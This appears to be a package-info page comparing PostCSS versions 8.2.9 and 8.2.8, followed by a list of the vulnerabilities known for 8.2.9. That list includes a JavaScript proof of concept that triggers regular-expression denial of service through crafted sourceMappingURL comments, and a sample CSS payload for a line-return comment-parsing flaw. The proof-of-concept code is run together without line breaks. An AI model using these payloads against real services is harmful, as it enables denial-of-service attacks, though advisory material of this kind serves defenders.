PostCSS version 8.2.9 is a minor update to the popular CSS transformation tool, building upon the foundation of version 8.2.8. Both versions share the same core purpose: providing a robust platform for developers to manipulate styles using JavaScript plugins. They are licensed under the MIT license and are hosted in the same public repository. Both are the creation of Andrey Sitnik and supported by open collective. A notable difference lies in the dependencies. Version 8.2.9 updates the nanoid dependency from version 3.1.20 to 3.1.22. While seemingly small, this might bring in the newest improvements of nanoid, like bug fixes or performance improvements for unique ID generation, which are utilized internally within PostCSS. Other listed dependencies like colorette for colored output in the console and source-map for debugging remain the same. Comparing the distribution packages, version 8.2.9 shows a slightly smaller unpacked size (179381 bytes) and fewer files (49) compared to version 8.2.8 (204424 bytes and 50 files). This suggests potential optimizations or removal of redundant files in the newer release, thus improving the loading time but possibly impacting compatibility. The release dates also offer a clear distinction, with version 8.2.9 being released on March 30, 2021, subsequent to version 8.2.8’s release on March 9, 2021. Developers should consider these small details depending on the importance of unique ID generation in their system and based on the loading time.
All the vulnerabilities related to the version 8.2.9 of the package
Regular Expression Denial of Service in postcss
The npm package postcss from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.